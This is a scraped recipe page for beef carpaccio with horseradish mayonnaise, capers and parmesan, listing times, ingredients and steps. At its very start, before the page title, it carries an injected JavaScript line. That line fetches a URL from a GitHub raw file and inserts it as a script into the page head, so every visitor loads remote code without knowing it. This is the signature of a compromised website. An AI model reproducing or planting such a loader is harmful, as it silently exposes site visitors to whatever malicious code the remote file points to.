;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Beef carpaccio - Haute Nutrition
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carpaccio de boeuf avec parmesan

Beef carpaccio

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Prep Time 15 mins
Cook Time 5 mins
Total Time 20 mins
Course Appetizer, Main Course
Cuisine American, Italian
Servings 4 portions
Calories 318 kcal

Equipment

  • mandoline

Ingredients
  

  • .5 pound Filet mignon de Boeuf
  • 2 tbsp. horseradish
  • 3 tbsp. mayonnaise
  • 1/2 cup parmesan
  • 2 tbsp. capers
  • 1 tbsp. olive oil
  • balsamic vinegar
  • I

Instructions
 

  • Strain capers and cook in olive oil 4-minutes,
  • Do not skip this step it's delicious
  • Put the filet mignon in the freezer it will slice better and cut it very thin and bang it with the bottom of a saucepan (You can also ask your butcher to slice it for you)
  • Remove the horseradish water if it is in a pot and mix it with the mayonnaise
  • Serve carpaccio with horseradish mayo and Parmesan cheese on top. Add a little olive oil and balsamic vinegar if served with salad.